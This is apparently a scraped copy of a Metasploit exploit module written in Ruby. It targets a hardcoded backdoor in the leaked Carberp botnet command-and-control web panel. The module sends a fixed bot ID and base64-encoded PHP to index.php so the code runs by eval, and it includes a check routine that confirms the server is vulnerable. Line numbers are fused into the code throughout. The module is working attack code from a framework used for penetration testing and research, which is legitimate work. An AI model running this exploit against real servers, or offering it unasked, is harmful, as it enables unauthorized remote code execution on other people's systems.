Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/carberp_backdoor_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',13'Description' => %q{14This module exploits backdoors that can be found all over the leaked15source code of the Carberp botnet C2 Web Panel.16},17'License' => MSF_LICENSE,18'Author' =>19[20'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module21'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting22'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting23],24'References' =>25[26['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']27],28'Privileged' => false,29'Payload' =>30{31'Keys' => ['php'],32'Space' => 10000,33'DisableNops' => true34},35'Platform' => ['php'],36'Arch' => ARCH_PHP,37'Targets' =>38[39['carberp', {}]40],41'DisclosureDate' => '2013-06-28',42'DefaultTarget' => 0))4344register_options(45[46OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),47OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),48])49end5051def check52confirm_string = rand_text_alpha(8)53cmd = "echo '#{confirm_string}';"54shell = http_send_command(cmd)55check_code = Exploit::CheckCode::Safe5657if shell and shell.body.include?(confirm_string)58check_code = Exploit::CheckCode::Vulnerable59end6061check_code62end6364def http_send_command(cmd)65uri = normalize_uri(target_uri.path.to_s)66request_parameters = {67'method' => 'POST',68'uri' => uri,69'vars_post' =>70{71'id' => datastore['BOTID'],72"data" => Rex::Text.encode_base64(cmd.unpack('H*'))73}74}75res = send_request_cgi(request_parameters)7677res78end7980def exploit81http_send_command(payload.encoded)82end83end848586